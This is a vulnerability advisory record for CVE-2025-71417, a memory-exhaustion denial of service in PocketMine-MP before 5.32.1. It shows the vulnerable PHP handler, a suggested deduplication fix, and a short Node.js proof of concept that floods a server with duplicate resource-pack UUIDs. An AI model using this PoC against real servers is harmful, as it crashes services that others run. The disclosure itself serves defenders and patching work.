{"id":"CVE-2025-71417","aliases":["GHSA-fqqv-56h5-f57g"],"url":"https://o3.security/vulnerability/CVE-2025-71417","summary":"PocketMine-MP before 5.32.1 Denial of Service via ResourcePackClientResponsePacket","details":"### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** — Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n    foreach($packet->packIds as $uuid){\n        $splitPos = strpos($uuid, \"_\");\n        if($splitPos !== false){\n            $uuid = substr($uuid, 0, $splitPos);\n        }\n        $pack = $this->getPackById($uuid);\n        if(!($pack instanceof ResourcePack)){\n            $this->disconnectWithError(\"Unknown pack $uuid requested...\");\n            return false;\n        }\n        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(\n            $pack->getPackId(),\n            self::PACK_CHUNK_SIZE,\n            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),\n            $pack->getPackSize(),\n            $pack->getSha256(),\n            false,\n            ResourcePackType::RESOURCES\n        ));\n    }\n    break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang's official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this->packsSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet->packIds);\n\n// Detect abuse\nif(count($packet->packIds) - count($uniquePackIds) > 2){\n    $this->disconnectWithError(\"Too many duplicate resource pack requests\");\n    return false;\n}\n\nforeach($uniquePackIds as $uuid){\n    if(in_array($uuid, $alreadySent, true)){\n        continue; // Skip packs already sent to this player\n    }\n    // existing code...\n    $alreadySent[] = $uuid;\n}\n\n$this->packsSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n   * `status = STATUS_SEND_PACKS`\n   * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'test';\nconst PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n    host,\n    port,\n    username,\n    offline: true\n});\n\nclient.on('spawn', () => {\n    console.log('[*] Sending duplicate pack request...');\n    client.queue('resource_pack_client_response', {\n        response_status: 'send_packs',\n        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n    });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash","published":"2026-09-09T13:31:56.926Z","modified":"2026-10-28T02:30:39.940069579Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"pocketmine/pocketmine-mp","fixedVersion":"5.32.1"}],"fix":{"url":"https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a","label":"pmmp/PocketMine-MP@c417ecd"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71417.json"},{"type":"ADVISORY","url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71417"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/pocketmine-mp-before-5.32.1-denial-of-service-via-resourcepackclientresponsepacket"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"},{"type":"PACKAGE","url":"https://github.com/pmmp/PocketMine-MP"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:39.940069579Z"}}